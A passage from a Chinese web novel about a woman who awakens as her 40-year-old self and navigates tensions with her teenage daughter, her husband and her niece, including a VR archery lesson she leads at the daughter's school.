(我先说:和妈妈还有姨妈一起吃饭!) 宁颐然一眼就看出那是她很喜欢吃的一家米其林餐厅的菜品,她点开居中那张合影,几乎有些不敢相信自己的眼睛——她妈说晚上要忙工作,原来是跟陈穗一起吃饭? 妈妈竟然抛下她这个亲生女儿,去跟别人的女儿吃饭? 那张照片应该是餐厅服务员帮她们拍的。陈穗捧着脸蛋坐在两个女人中间,一边是她(陈穗)妈,一边是她(宁颐然)妈。宁颐然看见自己妈妈很亲热地揽着陈穗的肩,而陈穗的妈妈也将头挨着她,陈穗坐在中间笑得像一只快乐的小鸟。 陈穗脸上的笑容实在太刺眼了,刺得宁颐然鼻子发酸,想到刚才难以下咽的盖浇饭,酸意更是无法控制地从鼻子往眼眶里漫溢。 她又委屈又生气,恨不得把手里的手机摔掉,气呼呼把陈穗发的朋友圈给爸爸看:“气死我了!气死我了!我妈说晚上要很晚回来,原来是陪陈穗吃饭去了!她陪陈穗吃米其林,我吃你请的不要钱的盖浇饭!” …… 应真在北门派出所跟岗体验了三天,最后一天原本她想跟到晚上九点结束。但是七点钟林莉接到一个特殊的出警任务,不能带她一起,于是应真为期三天的跟岗体验提前两小时结束。 从派出所出来,应真感觉自己这三天像块海绵一样吸得饱涨得快要溢出了。她需要花很多时间吸收消化,于是她趁着结束时感受最强的时刻赶紧把一些内容用语音的形式记录下来。 她一边走路,一边对着手机发语音,不知不觉走到一个很眼熟的小区。小区门口那一排门面房,她一眼看到表姐田佳蕙的音乐培训教室。今天这个点没有学生,已经关门了。 应真想到上回喊田佳蕙带穗穗去家里吃饭,她一直没带,于是站在路边打了个电话给表姐:“你在外面还是在家?吃晚饭了没有?” 没想到电话是穗穗接的,“小姨,我和我妈都在家,我们还没吃晚饭。我正拿我妈的手机看点哪家的外卖呢。” 听到穗穗软软糯糯的声音,应真心头一软,便道:“你现在在你妈妈古筝教室门口,你跟你妈妈说不要点外卖了,晚上我请你们去江南厨吃饭。” 田佳蕙今天晚上刚好没课,呆在家里就快长毛了,正想出去跟男友约会。听到应真说请她们母女吃饭,立马开车赶了过来。 陈穗坐在车里远远地看到小姨站在路边,探出头来冲她招手,“小姨!” 应真低头看手机,听到一个脆生生的女孩声音,一抬头便看到一个梳着小辫子,戴着眼镜的女孩从车里探出头来,咧着嘴冲着自己喊“小姨”。 这是穗穗?应真不由瞪大眼睛,曾经连抱都不敢用力的小团子长成这么大的小姑娘了? 应真眼里流出一丝欢喜,快步走了过去。 田佳蕙租住的房子本来离的就不远,几分钟就赶过来了。应真没有坐在副驾位,而是直接上了后座跟穗穗坐在一起。 穗穗紧紧揽着小姨,高兴得像只小麻雀。原本晚上又是她一个人在家。妈妈给她点好外卖就要出门了,小姨打电话给她们,妈妈才没去跟男朋友约会,改为跟她们一起吃晚饭。 田佳蕙已经准备发动汽车,听到应真问:“要不要把你妈喊上啊?” 她脸上笑容立刻收了起来,白了应真一眼:“我还想好好吃顿晚饭。你要是喊我妈一起,我带穗穗回去了。” 表姐话都说到这份上了,应真还能说什么,拍了拍穗穗的手,笑:“那算了。我今天主要是想见穗穗。好长时间没见她了。” 说真的,看到长大的穗穗,比看到自个女儿,在应真心里激起的反应更大。毕竟穿过来之前,她亲手抱过穗穗,甚至给她换过尿布,冲过奶粉。 她脑海里关于自己这个小外甥女的记忆无比鲜活,反而关于然然那部分记忆一片空白,是穿来之后一点点补上的。 陈穗性格内向,对人的情绪特别敏感,她发现小姨上车后突然变得很沉默,将头靠在小姨肩上,“小姨,我好饿呀,我们去哪吃饭呀?” 应真回过神来,冲外甥女笑了笑:“我带你去上回你姨父带我去吃的一家餐厅。” …… 姨妈带她们去的餐厅在一家五星级饭店里,陈穗第一次来这么高档的餐厅。这一晚,她拿手机拍了好多漂亮的照片,吃了好多好吃的。 妈妈一直拉着姨妈聊天,每次发现她在偷听,就瞪她,然后压低声音不让她听。 陈穗想起来,小时候,她就很爱听妈妈跟姨妈聊天。她们聊好多大人世界里的东西,她觉得挺有意思的,好几次妈妈发现她听得很专注,就跟姨妈吐槽:“这孩子长心了。” 不过今天晚上妈妈跟姨妈聊的内容很无趣,基本是在吐槽姥姥和爸爸。跟妈妈一起生活,陈穗现在已经能屏蔽她不想听的内容,她专注吃着好吃的菜肴。 田佳蕙好不容易逮到一个能说说心里话的人,忿忿然道:“都离婚了,车子分给我了,我就是每天开着车子带着男人去浪,他也管不着!还好意思让他妈打电话给我,说车子老跑长途轮胎会磨损,有病吧!” 不管是跟前夫吵架,还是跟亲妈吵架,田佳蕙从来不避着女儿。 应真一抬眼发现穗穗正安静地吃着饭。她冲外甥女招了招手:“难得一起吃顿饭,穗穗,我们一起拍张合照吧。” 说罢,她往旁边挪了挪,让穗穗坐在中间,又拿手机给服务员,让服务员给她们仨合张影。 陈穗赶紧掏出自己的手机:“用我的拍!” 田佳蕙看闺女这个样子,咧嘴道:“你发朋友圈可以,千万屏蔽你姥姥!不然她肯定又要发疯!” 应真忍不住打量着外甥女,虽然她比然然大一岁多,但个头要瘦小许多,性格也更加内向腼腆。看到小姑娘开心的样子,应真一把揽着她,冲着镜头微笑着。 这一顿饭吃到八点多,应真没让田佳蕙送,自己打车回去。到家的时候,在玄关看到父女俩的鞋子,便知道他们已经回来了。 一楼静悄悄的,女儿房间的门紧锁着。这个时间点,她应该差不多快睡了。应真顺手将一楼的灯全关了,趿着拖鞋上楼。 经过书房的时候,听到宁君昊在打电话。应真没管他,径直去主卧浴室洗澡,又在浴缸里泡了一会,兴许是太累了,没泡多久竟然在浴缸里睡着了。 醒来时浑身骨头胳得疼。宁君昊将浴缸里的水放空了,用浴巾把她包得像粽子一样,正把她从浴缸里抱出来。 看她睁着惺松的眼睛有些发懵地看着自己,宁君昊勾了勾唇角:“还好,你还记得洗澡不能反锁门。” 跟宁君昊在一起的时候,应真曾经在浴室里晕倒过,后来两人约定洗澡不能反锁门。 应真清醒过来,挣扎着下来,她刚才护肤流程还没做完,“我还没擦完脸!” 宁君昊不懂女人一层一层往脸上糊的是什么东西,但他喜欢看应真做这些事,只觉得赏心悦目。 应真正在用美容仪做提拉,听到身后男人道:“今天女儿被你气哭了。”【魔蝎小说 mo xie xs .c om】 40-50 第41章 第41章宁君昊觉得自己跟摇尾乞…… “嗯?” 应真正在想别的事,没注意宁君昊说什么,停下手里的动作,从镜子里看着他。 宁君昊把女儿在车里气得哇哇大哭的事跟她说了,他了解应真,她的心肠特别软,听完肯定会心疼女儿。 应真确实心疼了一瞬,但很快面色转淡:“可能是之前我满心满眼全是她,把她看得太重了,让她以为我人生最大的使命职责就是给她当妈。” 说到这,应真顿了顿,跟女儿相处的点点滴滴涌上来,那些感受是实实在在的,她无法欺骗自己。 她叹了口气:“小孩子一样‘远香近臭’。先前我全身心扑在她身上,她也没有多尊重我。现在我稍微把母亲的责任放一放,不像以前那样过于关注她,她又开始受不了了。人性就是这样。” 宁君昊以为能从应真嘴里听到很多心疼女儿的话,没想到她从神色到话语都很冷淡。 这样的应真让他感觉陌生,然然是他们结婚这么多年唯一的孩子,是他们俩爱情和婚姻的见证。她的淡漠让他心里空落落的不是滋味:“她只是个十四岁的孩子,还不至于上升到人性的地步吧。” 应真放下手里的美容仪,抬眸看着他,他眼里的不悦呼出欲出。 墙是存在的。这些日子,在面对中年的宁君昊时,应真始终感觉有道无情的墙挡在他们中间,让他们的夫妻关系止步于此。 也许四十岁的应真,在碰了无数壁后,不想再走近了。 结婚已经十五年的夫妻,仍然还是很难相互理解,就像宁君昊很难理解她和然然之间的关系。 应真垂下眼眸,拿起梳子开始梳理自己的头发:“你忘了她怎么当我面说我‘greentea’的?做女儿的可以这么说妈妈?” 宁君昊噎住,他没想到应真还记得这事。 今天跟穗穗见了一面,应真的心情很复杂。站在她的角度,她替四十岁的自己不值,全心全意地付出,收获了一个并不尊重自己的女儿。 但今天看到穗穗,应真才意识到原来自己对穗穗有天然的亲近感。对女儿却没有,和女儿之间的记忆像是后天植入的。 站在女儿角度,原本发自内心爱她的母亲,芯子里换了人,这对她好像也是件残忍的事。 所以有些事情还是别藏着掖着,说开来好。 “我觉得我去宁市之前还是跟然然说清楚。也不用说那么多,就说上次交通事故我缺失了部分记忆,根本想不起来有她这个女儿。这些日子我只是在努力扮演她妈妈。那些做得不到位的地方,她觉得我好像换了一个人的地方,不是我在冷落她,和她搞什么冷战,是我芯子就变了。从心理层面上来说,我根本不是她妈妈。她那么聪明,这么跟她说,她也许需要一些时间接受,但肯定不会那么难受了。” 这是应真第二次提出要跟女儿坦白,宁君昊还是不同意:“你说完就直接去宁市拍戏,把女儿扔在北市几个月。她才十几岁,你让她一个人消化这种事?这事不是说出来就完了。你不能老把自己从她母亲的身份里抽离出来。你现在就是四十岁的应真,是她的妈妈。你再不想接受,这也是事实。” 应真承认他说的对。但承认和接受是两码事。 她累了,不想再多说,只道:“那等我拍完戏再找个时间跟她说吧。” 宁君昊看到她眉眼间的疲惫,意识到自己好像逼她太紧了,弯下腰从后面抱住她,语气软了下来:“老婆,再多给自己和女儿一点时间。就像你想出去拍戏,还让秦毅投资你们,我再不乐意,现在不也只能点头同意吗?我知道这么多年,你当妈当老婆累了,所以我给你三个月时间,拍完你再回来继续当宁太太……” 应真被他的话气笑了:“什么叫你同意了?宁君昊,你要搞清楚,我不是你公司那些给你打工的员工。我连出去拍戏的自由都没有?还得你批准?” 宁君昊今晚真的不想再睡书房,他迈开腿和她挤在一张化妆凳上,将她抱在怀里,嘴上说着些软话:“你难道没有看出来我和女儿都离不开你吗?今天你就陪穗穗吃了个晚饭,她就难受得不得了。还有我,你不知道我今天回来,看到家里没人等我是什么心情。” “又来这一套!” 应真发现自己好像能看出宁君昊的套路了,气呼呼地用胳膊肘撞了他一下,“你能不能不要在我这装可怜了。” 身后男人没说话,将头靠在她颈间,半个身子的重量都在她身上。很快颈间传来轻微刺痛和濡湿的感觉,应真发现他竟然在咬自己,她气得又用力给了他一击。 宁君昊这才恋恋不舍地将头抬起来,捂着被她撞到的地方,脸上流出一丝痛苦神情:“我哪里装可怜了?我是真可怜。今天开了八个小时的会,开完会带女儿吃了顿工作餐。因为我不想让你签婚内财产约定协议,还跟投行的人吵了一架。难道你不应该安慰安慰我吗?” 果然应真还是那个应真,看到他确实一脸疲色,板着的脸软化下来:“婚内财产协议怎么了?我上次不是说了让你拿回来给我签吗?” 宁君昊不吭声了,将人紧紧搂在怀里,半晌才开口道:“老婆,你幸好是嫁给了我。如果是嫁给别的男人,被人怎么坑的都不知道。” 应真一头雾水:“你在说什么?我想不出来除了你,还会有谁坑我。” 她转身仰头看着他,有些困惑的表情。宁君昊目光落在她红润的唇上,又好想咬她一口,他忍住了,把成立家族信托的事跟她说了。 “这样万一以后要是奇技没干好,你老公我破产了,你和女儿的生活不会受影响。” 看到应真那双温柔的眼眸怔怔地看着自己,宁君昊忙补充道:“我是说万一,目前公司在我的管理下,干不好的可能性很低。不过把你们安顿好了,我才能更放手地去干。” 应真知道把公司干到上市是宁君昊的梦想。从他们谈恋爱开始,这个词就时不时出现在他口中。她当然是支持他的,于是点头道:“行吧。什么时候需要我签字,你告诉我。” 她连信托的具体细则都没问,宁君昊颇有些不是滋味。有种想在老婆面前显摆一下,但老婆并没有当回事的感觉。 他想到前阵子应真跟他赌气时说的那些话,心里就很不舒服:“老婆,你不要再说你不是四十岁应真这种话了。也不要说这么多年,不是你的功劳这种话。现在,你们就是同一个人。” 应真“嗯”了一声:“我知道。我确实没有资格替她说什么。” 说到这,她瞪着眼睛看着他:“所以你那个信托方案好好弄,不要亏待我,不然我可不会签字的……” 话还没说完,应真感觉自己大腿好像碰到了什么,反应过来那是什么后,她有些不可置信地抬眼看着面前的男人。 宁君昊一双眼睛亮得吓人,嘴角含笑,正直勾勾地看着她,那眼神要多露骨有多露骨。 应真脸上一热,用力拍了他一把,“我在跟你说正事哎!你脑子在想什么!” 宁君昊只觉眼前女人从里到外从上到下无一不合自己心意,这会只想把人搂在怀里狠狠欺负,但无奈她怕冷得紧,穿着厚厚的睡袍,把身体包裹得严严实实。 他只能一把将人薅进怀里,去扯她腰间的带子。应真刚才脱下裕巾,随便套了件睡袍在身上,她里面什么也没穿,胸口瞬间一阵冰凉。 “你干什么!”她想把睡袍重新拢上,但宁君昊的力气实在太大,鼻尖蹭了过来,又咬住了她。应真痛得“嘶”的一声,用力捶了他几下:“你属狗的?!” 说实话,宁君昊觉得自己跟摇尾乞爱的狗也没么区别,不过他不觉得这有什么问题,他只在她面前这样, 跟老婆腻了这么久,终于贴上了,这会他已经是箭在弦上了,“老婆,给我好不好?我想要。” 应真真的招架不住这个老男人,脸皮比年轻的时候厚太多太多。她一边捶他,一边道:“不行!我不想!我现在还在生你的气!” 宁君昊贴在峦间的头终于抬起来,眼神迷离,眼尾泛红,一脸的意犹未尽。他从口袋里掏出手机,贴在应真耳边,喘着粗气道:“你是不是要我跟黄书韵,还有余姐打电话道歉,才能消气?我现在就打……” 说完,他真的在通讯录找黄书韵的电话拨了过去。应真受不了他这副精虫上脑的模样,一把抢过他的手机,“宁君昊,你几岁了?!能不能别幼稚了!你看看现在几点了!书韵晚上要搞创作,你不要打搅她!要打,你明天再打……” 宁君昊将她抢过去的手机扔到一旁,把人从凳子上抱起来,那双漆黑的眼眸未从她脸上挪开分毫,“不行。你今晚必须给我。从内蒙回来就不让我碰,我难受好几天了。这几天睡书房,一想到你,我就……” 应真整个人快红成了虾,这男人真的越老越不正经。 宁君昊还不放过她,在她耳边低声喘息道:“你没看见吗?这几天书房纸篓垃圾都是我自己带下去的。里面全是我想你的证据。” 应真受不了他满嘴骚话,用力踹了他一脚,然后下一秒被他扔到床上,一把捏住了脚踝。 刚被他扔到一旁的手机震动了起来,应真一边挣扎着起来,一边求他:“肯定是书韵打回来了。你赶紧接一下!” 宁君昊才刚找到一点状态,就被人打断,拿过手机看了一眼,确实是黄书韵。他没舍得出来,撑着身子接通电话,跟那头寒喧了几句,说了些抱歉的话,解释了他为什么不想应真去拍戏。那头黄书韵不知道说了些什么,宁君昊笑着回道:“感谢黄导的理解。我把老婆借你三个月,三个月后你得原封不动地还给我。” 这一晚,宁君昊软硬兼施,手段用尽,总算暂时结束了和老婆的冷战。 事后,老婆还不肯放过他,非要他起来帮她调试从品牌那借来的VR游戏弓,说明天轮到她搞妈妈课堂,她才不要讲什么正儿八经的课,要带去女儿学校和那帮小孩一起玩。 宁君昊只能从床上爬起来,陪着老婆到游戏室又玩了一个小时的VR游戏。 面对精力旺盛的老婆,宁君昊再累也只能打起精神陪着她玩。 * 应真这一晚上睡得并不踏实。听了宁君昊一番话后,多少对女儿存了些歉意。 她在想,自己可能确实对女儿关心不够。或许她可以在跟穗穗吃饭前,先给女儿打个电话,问她有没有吃晚饭。 作为家里的长女,应真从小被父母教育得凡事要先从自己身上找原因。似乎只有先做好了自己那份,才有资格去指责别人。无论如何,在跟女儿的相处当中,她作为成年人,的确应该是想得更周全的那一方。 第二天早上她很早就起床了,给女儿煮了她亲手包的鲜虾小馄饨,还煎了蛋饼,准备了酸奶水果碗, 宁颐然早上起来眼睛还是肿的,昨天晚上她越想越委屈,越想越生气。跟晋扬抱怨了一通,结果他完全不能理解她,她就更生气了。 虽然生气,但她并不想让妈妈看出来她哭过,显得好像她有多在意她去跟表姐吃饭一样。所以,她在浴室里多磨蹭了几分钟,把沾着冷水的毛巾敷在眼睛上,直到眼睛看不出来哭过的痕迹,才从卧室里出。 走进餐厅,早餐已经摆在桌上了,妈妈不在,应该是去健身室跑步了。 宁颐然一眼看出来,今天不是预制早餐。妈妈包的馄饨比外面买的饱满好看。蛋饼做起来麻烦,有时候她想吃,时间不够妈妈来不及做,今天却给她做了。 哼!妈妈肯定是觉得自己昨天太过份了,所以早上亲手做早餐弥补她。宁颐然崩着小脸,连吞了几颗馄饨下肚,空荡荡胃终于被抚慰到了,眉头跟着舒展了些。 早餐吃到一半,爸爸也起床了,坐下来一边吃早餐一边道:“我今天跟你一起出门。先送你去学校,再回公司。” 爸爸左手轻叩着桌面,看上去心情不错。宁颐然有些不高兴,昨天她委屈地哭的时候,爸爸安慰她,说妈妈做得确实欠考虑。一觉醒来,爸爸跟个没事人一样,只有她一个人生气。 宁颐然“哦”了一声,不想理爸爸了。 等她快吃光了,妈妈终于健完身上来了,一只手拎着两把弓,一只手拎着个袋子。 那个袋子她认得,是一个很有名的VR品牌。 宁颐然不由犯起嘀咕,妈妈最反感电子产品了,平时看到她多用了一会手机就唠叨个没完,竟然弄了个VR眼镜回来? 难不成……妈妈知道她生气了,买这个回来哄她?宁颐然好奇得要死,但又不想主动跟妈妈说话,憋得难受。结果妈妈自己开口了:“今天上午我要拍个VR品牌的软广。我找他们借了两个样品过来,我先熟悉一下,拍完视频后,下午带到你们学校。正好妈妈课堂,大家可以一起玩玩。” ??? 太阳打西边出来了?VR眼镜刚流行起来的时候,她还在上小学,爸爸偷偷给她买了一台,被妈妈知道后,跟爸爸吵了一架。 妈妈对电子产品深恶痛绝,总担心影响她视力。 从小到大,妈妈一会担心她长不高,一会担心她口呼吸。稍微长大一点,又担心她牙齿不整齐,眼睛近视,反正就是焦虑个没完。 因为担心她近视,不仅限制她看平板的时间,还不准她玩VR游戏,每天陪着她到户外去晒太阳,说对眼睛好。后来那VR眼镜坏了,妈妈也不准爸爸给她买新的了。 宁颐然忍不住开口道:“妈妈课堂,你就让我们玩VR游戏啊?” 应真:“对啊,都上了一天课了,肯定没几个想听课的,还不如一起玩游戏放松放松。这个我试过了,跟真的弓箭没什么区别,还更安全,更容易上手。到时候我教你们几个标准动作,然后你们自个玩,我给你们当裁判就行了。” 她说完,发现女儿正用眼神古怪地看着自己,愣了愣:“玩游戏不行啊?非得上课才行?” 宁颐然摇头,抿唇道:“没人规定妈妈课堂必须上课。你觉得行就行。” 应真松了口气:“那就好。时间是下午三点半对吧?” 宁颐然:“嗯。下午三点半在艺术楼三楼的练功房。” 原本打定主意不跟妈妈说话的,没想到又被个破VR眼镜搞破了功。 宁颐然有些丧气,对爸爸道:“爸,我吃饱了。什么时候走?” 一抬眼看到妈妈站在爸爸身后,手搭在他椅背上,拍了拍他的肩,“下午妈妈课堂结束,我开车带女儿一起回家。你别让小李接了。” 爸爸在看手机,没说什么,只是抬手捏了担妈妈放在他肩上的手。 宁颐然受不了了,原来一觉醒来,只有她一个人生气,爸爸妈妈都像没事人一样! 她心里堵得更难受了,背着书包,跟着爸爸出门,一屁股坐在汽车后座上。 宁君昊从后视镜看了女儿一眼,淡淡道:“我昨天晚上跟妈妈聊过了。她也觉得应该先打个电话关心下你有没有吃晚饭。” 宁颐然哼了一声,把头扭向窗外,谁都不想理。 女儿的态度让宁君昊很不快,眉头皱了起来:“宁颐然,我和你妈妈跟你说过很多次了,生闷气除了让自己难受,不解决任何问题。也就是你妈妈爱你,看你生闷气,会哄你……” 宁颐然撅着嘴:“知道了。” 语气倒底缓和下来。 …… 一到学校,宁颐然就被文艺委员易梦楠催要PPT:“下午妈妈课堂你妈妈主讲,PPT还没给我,你不会忘了吧? 宁颐然:“我没忘。我妈是实践课,没有PPT。到时候你组织班上同学去艺术楼三楼的练功房就行了。” 易梦楠欲言又止:“妈妈课堂开展这么久,你妈妈是第一个没准备PPT的家长。” 这话落在宁颐然耳边里很不舒服,脱口道:“每天在学校上课看PPT还没看够啊?谁规定家长来交流,一定要准备PPT的?” 易梦楠噎了噎,半晌才道:“不准备也行。就怕下午学校新闻站的人过来拍照,到时候没什么素材可拍。” 宁颐然看她一眼:“放心吧。我妈肯定能让他们交差。” 周五的课上到下午三点结束。三点钟开始就有同学陆陆续续往艺术楼那边去了。宁颐然和两个死党一起,慢悠悠地晃过去。 两个死党的妈妈都来学校举办过妈妈课堂,一个分享的是自己接触到的青少年犯罪案例,一个分享的股票相关的基本常识。 她俩都好奇宁颐然妈妈今天来讲什么。死党1号道:“上回在学校看到宁颐然妈妈,感觉说话声音温温柔柔的,不像我妈当法官的,一看就很凶,真怕她妈妈镇不住我们班那些男生。” 死党2号却不这么想:“你忘了宁颐然妈妈在内蒙酒吧射箭的视频了?那眼神看着可凶了。” 别的同学听到了,也过来跟她们一起八卦。宁颐然听她们七嘴八舌议论着自己妈妈。 反正不管谁问她妈妈下午讲什么,她就三个字:不知道。 三点半,练功房里同学们或坐或站,人都已经到齐了。宁颐然看到她妈妈拿着两副VR眼镜,两副游戏弓进来了。 应真穿了一套柔软贴身的运动服,头发扎成马尾,晃了晃手里的游戏弓,“同学们大家好,我是宁颐然的妈妈应真。今天的妈妈课堂由我来主持。这次咱们轻松一点,我用VR来教大家射箭。” 妈妈在说话的时候,宁颐然紧张得捏紧了拳头——但身边同学似乎注意力全跑偏了? 原本一个个无精打采的,怎么听到VR游戏,眼睛一个比一个亮? 宁颐然没想到她们班同学那么没见过世面,不仅男生们都轰动了,女生们一个个也围了过来,让她妈教他们玩。 看那些人把妈妈围在中间,连晋扬和魏珣都凑了过去,宁颐然坐在地上没动,她才不要凑那个热闹。 应真透过人群,看着坐在角落玩手机的女儿,抬高嗓门道:“宁颐然,你别坐在那儿,赶紧过来。你来给我当模特,我要示范一下动作。” 第42章 第42章二合一 说真的,看到别的孩子都围了过来,反倒自己女儿坐在那儿没动,应真脾气再好,也有些上火。 脱离亲妈滤镜,在她眼里,这孩子的确就是没礼貌。她性子温柔,不代表她没脾气。于是当着女儿班上同学的面,把她喊了过来。 宁颐然不情不愿放下手机,起身走过来,不耐烦道:“我又不会。你让我示范什么。” 应真放下持弓的手,看了她一眼,神色有些淡:“既然不会,你为什么坐在那儿刷手机,不过来学?” 她声音不高,但还是很多同学听到了。宁颐然两个死党不约而同地瞪大眼睛,然后飞快交换了个眼神。 毕竟宁颐然平时没少在她们面前吐槽自己妈妈,搞得她们都以为她妈妈是那种唯唯诺诺没脾气没见识的家庭妇女,没想到她妈妈说话挺有个性的。 宁颐然站在那儿,感觉一屋子几十双眼睛齐唰唰地看着自己,她脸上挂不住了,拉下小脸,嘴硬道:“学这个有什么用。我又不感兴趣。” 不服归不服,她还是知道今天妈妈来学校代表她的面子,当着这么多同学的面也不好跟妈妈怼起来,只能气乎乎地小声嘟囔几句。 这孩子多少有点窝里横,应真不再关注她。她不想学,有的是人想学。果然,几个同学一听她不感兴趣,二话不说都往前挤:“阿姨,您教我吧。我想学。” 应真从善如流地开始示范动作:“今天我教你们最基本的三弦扣指法。用食指、中指和无名指这三根手指扣住弓弦,通过三根手指的合力将弓弦往后拉。差不多拉到这,就可以放了。撒放的时候,三根手指要同时放松……” 她将三根手指扣在弓弦上,手指看上去纤细却暗藏着力道,一边拉一边给旁边围观的小孩们看,“你们注意看我这个持弓手型,传统蒙古箭法讲究一个‘前手如推山,后手如卧虎’。现在这个智能游戏弓可比以前的弓好上手多了……” 十几岁的小孩正是好奇心强,爱凑热闹的时候,一群人乌泱地围了上来。应真教得认真,他们听得也认真。 宁颐然双手抱臂站在妈妈身后,冷眼看着。她发现就连晋扬和魏珣都很专注地在跟妈妈学动作,心里愈发不是滋味。 不就是射个箭,看几眼就会了。 应真目光锁定屏幕上的虚拟靶心,右手手腕轻轻翻转,带动弓弦向后拉去,整个动作行云流水,一气呵成。 电子箭破空的锐响让小孩们屏住呼吸,很快屏幕上显示的数字让他们“哇”了出来,一个个眼睛都亮了。 “十环!” “好厉害啊!” “我想玩!” “我也想!” “还有我!” 练功房里小孩们的声音快把屋里给掀了。谁也没想到宁颐然妈妈会带着VR设备来教他们射箭,和往常那种一本正经的课堂分享不同,今天他们能在课堂上玩耍互动,这也太爽了吧! 被一群跟女儿年纪差不多的小屁孩们簇拥着,应真也挺开心。这个年纪的孩子高兴了不高兴了都挂在脸上,但他们真的很聪明,见多识广,思维活跃,教几下就会了。 说到这,她朝自己的不孝女招了招手,“你别傻站在那儿了。你同学都学会了,你还没学会!” 终于轮到自己了,宁颐然在一旁看了半天,也没觉得有多难,从妈妈手里接过游戏弓,抬手就是一箭,结果连靶子边都没碰上。 没射中,多少有些脸上无光,偏偏晋扬和魏珣还在一旁指手划脚地说她哪哪动作不对。 宁颐然不服气,立马又抬起弓:“再来!” 第二箭又歪了。 应真冷眼看着女儿,这心浮气躁的样子也不知道遗传了谁。倒底没忍住,又上前拍了拍她的胳膊,“你先把呼吸调整好,不要一上来着急做动作。胳膊放松点,手肘这样,像怀抱小羔羊一样。” 宁颐然撅嘴:“我又没抱过小羔羊。” 应真没好气:“小羔羊没抱过,玩具娃娃抱过吧?” “咻”的一声,宁颐然又来了一发,这次堪堪挨到边。 原以为妈妈会夸她,没想到妈妈上来又拍她的胳膊,一脸严肃:“这是射箭,不是划桨,你用那么大力干什么?” 宁颐然真的要气死了!妈妈的口气让她一秒钟回到小时候跟爸爸学围棋的时候。当时爸爸也是这种口气。 爸爸教了她几盘,就将棋子一扔,似乎很无奈:“难怪古人要易子而教。还是请棋馆的老师教你吧。” 不知为何,宁颐然长这么大,一直记得爸爸当时说话的表情,好像她很笨一样,导致她后来很讨厌围棋! 她觉得自己“厌蠢”就是遗传了爸爸。爸爸嫌弃她也就罢了,毕竟他是Q大的高材生,智商是家里最高的。 她做梦没想到有朝一日,高中都没念过的妈妈也会用这种略带嫌弃的口吻训她! 宁颐然一直觉得自己很有运动天赋,小时候学过羽毛球和网球,后来又喜欢上皮划艇,臂力强劲,肢体协调,一般运动根本不在话下。被妈妈这么一说,她不服输的犟劲上来了,立马还要再来几发。 眼看女儿好胜心被激起来,应真在一旁道:“好了。你回去再练吧。先让别的同学玩玩。” 宁颐然只能把手里的弓让给同学,就差把“不爽”两个字写在脸上了。 一个小时的妈妈课堂很快结束,每个同学都玩了好几轮。除了宁颐然,其他同学都玩得挺尽兴的。 就连学校新闻社来拍摄的时候,也称赞他们的课堂形式很好,还对应真做了一个简短的视频采访。 宁颐然站在不远处,看着妈妈,她一站在镜头前,就像是换了个人,侃侃而谈,镇定自若。 从小到大,她脑海里都没有妈妈工作的画面,以至于她快忘记在她出生以前,妈妈曾经是个活跃在镜头前面的演员。 跟学姐一起对着镜头接受采访的妈妈,脸上带着淡淡的微笑。宁颐然发现,从按下录像那一刻开始,她的妈妈就不见了,变成了一个陌生有距离感的女人。 她心情有些复杂,挺不是滋味的。 妈妈课堂结束,周五的课就全部结束了。应真开车载女儿回家。等红绿灯的时候,她从后视镜里看了眼坐在副驾的女儿。女儿一直低头看着手机,手指不停地点着屏幕,一看就是在跟同学发信息。 应真没问妈妈课堂反响如何,她觉得没什么好问的。今天跟一群小孩玩射箭,她教得很开心,他们玩得很开心,这就够了。 宁颐然确实是在跟同学发信息。班级群里好多人都意犹未尽,想买个VR眼镜和智能游戏弓在家里玩,然后@她,问她一套装置多少钱。 宁颐然回:“我不知道。我妈今天带到学校的那两套装备,一套是她给幻界拍广告,幻界送给她的。一套是她找幻界借的。” 这话一出,群里好几个平时没怎么跟她说过话的同学都冒出来。 “好羡慕你有这么会玩游戏的妈妈。我妈要是这么会VR射箭,我早就吹爆整个培华了!” “谁不羡慕?我妈看到我玩游戏,能一口气不带喘地骂我三个小时。今天宁颐然妈妈妈居然说,适当玩游戏,能练习手眼协调!简直是梦中情妈!” “她妈妈这么会玩游戏,肯定不会反对她玩。不仅不会反对,还可以陪她一起玩,想想都爽!” 宁颐然想回:“你怎么知道我妈不反对我玩游戏?” 最后还是忍下来了。 退出班级群,小群里两个死党也在夸。 “宁颐然,你妈妈好酷啊,根本不像你说的那样。” “就是。当初我就说,她妈妈没两把刷子,怎么可能拿到影后?” 两个死党七嘴八舌地在群里说,宁颐然有些意兴阑珊,放下手机,抬头看了妈妈一眼。今天妈妈梳了个马尾,露出光洁的额头。她才注意到,妈妈脸型是标准的鹅蛋脸,比她的脸型好看多了。 宁颐然忍不住摸了自己棱角分明的下颌,这是她第一次意识到自己没有遗传到妈妈的美丽。 不像易梦楠,她就完全遗传了她当演员的妈妈长相上的优点。 车子快开到家里,母女俩一路一句话没说,最后宁颐然主动开了口:“今天妈妈课堂挺成功的,你是我们班这学期唯一被视频采访的家长。” 应真从后视镜里看了女儿一眼,淡淡道:“没给你丢脸就行。” 想到自己当初因为妈妈课堂的事,还跟妈妈吵过架,宁颐然忽然有些窘,想说些道歉和感谢的话,憋了半天,最后什么都没说出口。 看着自己这个不孝女,应真不由想到元珊的儿子。为了让她更契合元珊的角色,黄书韵把剧本里元珊刚上小学的儿子改成上初中,元珊的年纪也增加了。 除了跟前夫、江游的对手戏,应真还有很大一部分对手戏是跟刚上初中的儿子。儿子跟母亲的关系,不像女儿跟母亲之间那样复杂微妙,但也足够让应真细细品味了。 大概所有十来岁的孩子,放大他们身上让人讨厌的地方,看上去都差不多欠揍。在过于有安全感的环境里成长,自私、有恃无恐、居高临下,简直像复制粘贴一样。 黄书韵当初写小说时还那么年轻,自己也没有结婚的经验,应真好奇她是怎么抓到那些细节的。 剧本里那些让她触动的地方,应真不时地反复咀嚼。她想等到剧本围读的时候,跟大家一起讨论。 * 在余平婉的努力下,终于赶在开机前完成了电影《雪在烧》的备案,剧组的微信大群也拉好了。 在备案之前,大家一致觉得《结婚十年》作为电影名,有点普通,而且不符合黑色电影的风格。在改剧本的过程中,黄书韵还把小说里女主元珊的年纪和结婚时间都往上加了。 所以《结婚十年》已经不适合拿来当电影名字。黄书韵想了好几个名字,发到群里给大家投票选,最后大家一致选了《雪在烧》。 电影的外景和部分内景都在宁市完成。之所以选择宁市,最主要原因当然是便宜,距离北市也近,高铁当天可以来回。 还有一个原因,宁市是黄书韵的老家。黄书韵一直觉得自己是那种典型的经验主义者创作者。没什么想象力,所有的素材都来自于她熟悉的地方熟悉的人。所以,思考再三,她还是把外景地放在了她从小长大的城市。 